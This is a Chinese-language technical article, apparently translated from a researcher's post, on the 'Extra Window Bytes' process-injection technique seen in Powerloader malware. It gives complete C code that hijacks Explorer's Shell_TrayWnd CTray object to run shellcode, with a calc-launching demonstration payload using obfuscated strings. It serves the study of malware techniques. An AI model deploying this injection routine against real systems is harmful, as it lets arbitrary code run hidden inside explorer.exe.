导语:介绍 Extra Window Bytes,额外的窗口字节,这种注入方法因在2013年左右出现的Powerloader恶意软件中使用而闻名。没有人确切知道它何时首次用于进程注入,因为自80年代末90年代初以来,被特性已成为Windows操作系统的一部分。Extra Windo
介绍
Extra Window Bytes,额外的窗口字节,这种注入方法因在2013年左右出现的Powerloader恶意软件中使用而闻名。没有人确切知道它何时首次用于进程注入,因为自80年代末90年代初以来,被特性已成为Windows操作系统的一部分。Extra Window Bytes的索引零可用于将类对象与窗口相关联。使用SetWindowLongPtr将指向类对象的指针存储在索引零处,并且可以使用GetWindowLongPtr检索一个指针。第一次提到使用“Shell_TrayWnd”作为注射载体可以追溯到WASM论坛上一个名为“Indy(Clerk)”的用户的帖子,在2009年左右有一些关于它的讨论。
图1显示了“Shell_TrayWnd”类的信息,你可以在其中看到Window Bytes的索引零值已设置。
图1:Shell_TrayWnd的Window Spy ++信息
Windows Spy ++在此处未显示完整的64位值,但如图2所示,它显示了GetWindowLongPtr API为同一窗口返回的值。
图2:CTray对象的完整地址
CTray类
此类中只有三种方法,没有属性。每个方法的指针都是只读的,因此我们不能简单地用指向有效载荷的指针覆盖指向WndProc的指针。我们可以手动构造对象,但我认为更好的方法是将现有对象复制到本地内存,覆盖WndProc并将对象写入资源管理器内存中的新位置。以下结构用于定义对象和指针。
// CTray object for Shell_TrayWnd typedef struct _ctray_vtable { ULONG_PTR vTable; // change to remote memory address ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR WndProc; // window procedure (change to payload) } CTray;
上述结构包含在32位和64位系统上替换CTray对象所需的所有内容。ULONG_PTR的大小在32位系统上是4字节,在64位上是8字节。
有效载荷
这与PROPagate使用的代码之间的主要区别在于函数原型。如果我们在返回调用者时没有释放相同数量的参数,则会冒着崩溃Windows资源管理器或具有与之关联的任何窗口的风险。
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // ignore messages other than WM_CLOSE if (uMsg != WM_CLOSE) return 0; WinExec_t pWinExec; DWORD szWinExec[2], szCalc[2]; // WinExec szWinExec[0]=0x456E6957; szWinExec[1]=0x00636578; // calc szCalc[0] = 0x636C6163; szCalc[1] = 0; pWinExec = (WinExec_t)xGetProcAddress(szWinExec); if(pWinExec != NULL) { pWinExec((LPSTR)szCalc, SW_SHOW); } return 0; }
功能齐全
这是在提供位置无关代码(Position Independent Code,PIC)时执行注入的功能。与所有这些示例一样,我省略了错误检查以帮助逐步显示流程。
LPVOID ewm(LPVOID payload, DWORD payloadSize){ LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; // 1. Obtain a handle for the shell tray window hw = FindWindow("Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe GetWindowThreadProcessId(hw, &pid); // 3. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object ctp = GetWindowLongPtr(hw, 0); // 5. Read address of the current CTray object ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); // 7. Allocate RWX memory for code cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 9. Allocate RW memory for the new CTray object ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object SetWindowLongPtr(hw, 0, (ULONG_PTR)ds); // 12. Trigger the payload via a windows message PostMessage(hw, WM_CLOSE, 0, 0); // 13. Restore the original CTray object SetWindowLongPtr(hw, 0, ctp); // 14. Release memory and close handles VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
总结
虽然类似于窗口对象的注入方法通常属于“粉碎”攻击的范畴,但是随着Windows Vista的发布引入了用户界面特权隔离(User Interface Privilege Isolation,UIPI),这种注入方法在Windows 10的最新版本中仍然工作良好。
你可以使用执行计算器的有效载荷查看源代码:https://github.com/odzhan/injection/tree/master/extrabytes